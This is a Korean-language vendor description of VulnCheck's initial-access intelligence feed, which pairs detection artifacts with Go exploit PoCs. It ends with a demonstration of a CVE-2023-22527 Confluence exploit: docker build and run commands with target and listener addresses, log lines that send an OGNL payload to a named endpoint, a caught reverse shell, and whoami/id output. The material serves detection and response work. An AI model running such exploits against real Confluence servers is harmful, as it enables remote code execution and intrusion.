VulnCheck 초기 접근 인텔리전스 제품은 사내에서 개발한 docker 기반 익스플로잇 및 네트워크 스캐너, 패킷 캡처(PCAP 파일), Suricata & Snort 시그니처, YARA 규칙(가능한 경우), CPE 문자열, Nmap 스크립트, 취약한 Docker 파일, GreyNoise 태그 매핑, Censys와 Shodan을 이용한 인터넷 수준 노출 측정을 조직에 제공합니다. VulnCheck는 이러한 탐지 아티팩트를 패키징하여 조직이 탐지하고 대응할 수 있도록 합니다.
VulnCheck의 익스플로잇 PoC와 네트워크 스캐너 코드는 Go 언어로 작성되어 있으며, 사용 편의를 위해 Dockerfile과 함께 제공됩니다. 익스플로잇은 VulnCheck에서 작성 및 유지하는 go-exploit이라는 오픈 소스 소프트웨어(OSS) 공유 라이브러리를 활용합니다.
아래 예시는 CVE-2023-22527에 대한 go-exploit의 컴파일 및 사용 방법을 보여줍니다:
user@vc:/initial-access/feed/cve-2023-22527$ make docker
user@vc:/initial-access/feed/cve-2023-22527$ docker run -it --network=host cve-2023-22527 -v -c -e -rhost 10.9.49.88 -rport 8090 -lhost 10.9.49.85 -lport 1270
time=2024-02-22T18:05:27.675Z level=STATUS msg="Starting listener on 10.9.49.85:1270"
time=2024-02-22T18:05:27.675Z level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8090 ssl=false "ssl auto"=false
time=2024-02-22T18:05:27.675Z level=STATUS msg="Validating Confluence target" host=10.9.49.88 port=8090
time=2024-02-22T18:05:28.018Z level=SUCCESS msg="Target verification succeeded!" host=10.9.49.88 port=8090 verified=true
time=2024-02-22T18:05:28.018Z level=STATUS msg="Running a version check on the remote target" host=10.9.49.88 port=8090
time=2024-02-22T18:05:28.202Z level=VERSION msg="The self-reported version is: 8.5.3" host=10.9.49.88 port=8090 version=8.5.3
time=2024-02-22T18:05:28.202Z level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.9.49.88 port=8090 vulnerable=yes
time=2024-02-22T18:05:28.202Z level=STATUS msg="Sending OGNL expression size limit adjustment to http://10.9.49.88:8090/template/aui/text-inline.vm"
time=2024-02-22T18:05:28.384Z level=STATUS msg="Sending class EzrKbvJgvWl to http://10.9.49.88:8090/template/aui/text-inline.vm"
time=2024-02-22T18:05:28.421Z level=SUCCESS msg="Caught new shell from 10.9.49.88:42562"
time=2024-02-22T18:05:28.421Z level=STATUS msg="Active shell from 10.9.49.88:42562"
time=2024-02-22T18:05:38.390Z level=STATUS msg="Exploit successfully completed" exploited=true
whoami
confluence
id
uid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root)